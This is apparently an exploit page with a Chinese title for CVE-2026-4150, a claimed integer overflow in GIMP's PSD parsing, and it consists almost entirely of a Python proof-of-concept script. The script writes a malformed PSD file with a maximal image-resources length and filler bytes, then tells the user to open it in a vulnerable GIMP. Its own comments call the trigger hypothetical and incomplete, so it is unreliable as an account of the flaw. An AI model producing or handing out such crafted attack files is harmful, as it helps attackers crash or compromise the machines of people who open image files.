CVE-2026-4150 GIMP PSD解析整数溢出致代码执行

import struct # PoC for CVE-2026-4150: GIMP PSD File Parsing Integer Overflow # This script generates a malformed PSD file designed to trigger the integer overflow. filename = "cve_2026_4150_poc.psd" with open(filename, "wb") as f: # PSD File Header Signature f.write(b'8BPS') # Version f.write(struct.pack('>H', 1)) # Reserved (6 bytes) f.write(b'\x00' * 6) # Channels (1 = Grayscale, 3 = RGB, 4 = CMYK) f.write(struct.pack('>H', 3)) # Height and Width (Setting arbitrary values) # The vulnerability depends on specific fields, potentially resource lengths or dimensions f.write(struct.pack('>I', 100)) # Height f.write(struct.pack('>I', 100)) # Width # Depth (Bits per channel) f.write(struct.pack('>H', 8)) # Color Mode (RGB = 3) f.write(struct.pack('>H', 3)) # Color Mode Data Section Length f.write(struct.pack('>I', 0)) # Image Resources Section # Hypothetical trigger: A large length value causing integer overflow in allocation logic # Example: Setting a length that wraps around when multiplied or added to header size malicious_length = 0xFFFFFFFF # Max uint32 to potentially trigger overflow f.write(struct.pack('>I', malicious_length)) # Write dummy data to fill the file structure # In a real exploit, this data would be crafted to overwrite the return address f.write(b'A' * 0x100) print(f"[+] Generated malicious PSD file: {filename}") print("[!] Open this file with a vulnerable version of GIMP to trigger the vulnerability.")